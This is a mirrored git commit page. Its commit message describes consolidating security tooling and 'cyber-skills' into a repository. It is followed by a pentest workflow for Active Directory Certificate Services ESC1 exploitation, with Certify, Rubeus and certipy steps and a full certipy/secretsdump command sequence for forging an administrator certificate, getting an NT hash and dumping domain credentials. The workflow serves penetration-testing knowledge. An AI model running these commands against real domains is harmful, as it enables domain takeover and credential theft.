mirror of
https://github.com/SHOGGOTH-SECTOR/sica-fondt.git
synced 2026-08-01 08:30:20 +00:00
24f816b6a3
Place useful parts of the surrounding repos into sica-fondt by layer, per the
body model (Ada = membrane; brain/endocrine/capabilities/knowledge non-Ada):
- brain/ LLM reasoning + providers (dapr, hermes, MoMoA)
- capabilities/ REPRAG sidecars: hermes tools/skills, dapr tools, parallel
dispatch, A51 channels, and the OSINT cluster
- knowledge/ LORAG corpus: 754 cyber-skills, agency personas, secure-coding,
MITRE ATT&CK data
- reference/ defensive threat-reference (C3, shhbruh doc) + AdaYaml parser
License handling: AGPL sources (worldosint, advanced_evolution, mercury,
Reticulum) and GPL DeTTECT are SPEC-only clean-room/port descriptions — no
copyleft code copied. MIT/Apache/data parts copied as working trees.
Safety: shhbruh escape/persistence material and C3 covert-C2 kept as reference
only, not wired into the running organism. See CONSOLIDATION.md.
https://claude.ai/code/session_01UehUqEXXJJCsHoA4voCU5c
1.9 KiB
1.9 KiB
Workflows - AD CS ESC1 Exploitation
ESC1 Attack Chain Workflow
1. Enumeration
├── Identify CA servers: Certify.exe cas / certipy find
├── List certificate templates: Certify.exe find
├── Filter for vulnerable templates: /vulnerable flag
└── Verify ESC1 conditions (ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU)
2. Certificate Request
├── Choose target principal (Domain Admin, Enterprise Admin)
├── Request certificate with target UPN in SAN field
├── CA processes request without approval (misconfigured)
└── Save issued certificate (PFX/PEM)
3. Authentication
├── Convert certificate format if needed (PEM → PFX)
├── Use PKINIT to request TGT with forged certificate
├── Rubeus (Windows): asktgt /certificate:<pfx>
├── Certipy (Linux): auth -pfx <certificate>
└── Obtain TGT or NT hash for target account
4. Privilege Escalation
├── Use obtained TGT/hash for privileged operations
├── DCSync: Dump all domain credentials
├── Access Domain Controller shares
└── Establish persistence as needed
5. Documentation
├── Screenshot each step of the attack chain
├── Record CA name, template name, and SAN used
├── Document credentials obtained
└── Provide remediation guidance
Certipy Full Attack Workflow (Linux)
# Step 1: Find vulnerable templates
certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable
# Step 2: Request certificate as administrator
certipy req -u user@domain.local -p 'Password123' \
-ca 'domain-CA' -target DC01.domain.local \
-template VulnerableTemplate \
-upn administrator@domain.local
# Step 3: Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
# Step 4: Use recovered NT hash
secretsdump.py domain.local/administrator@DC01.domain.local -hashes :ntlmhash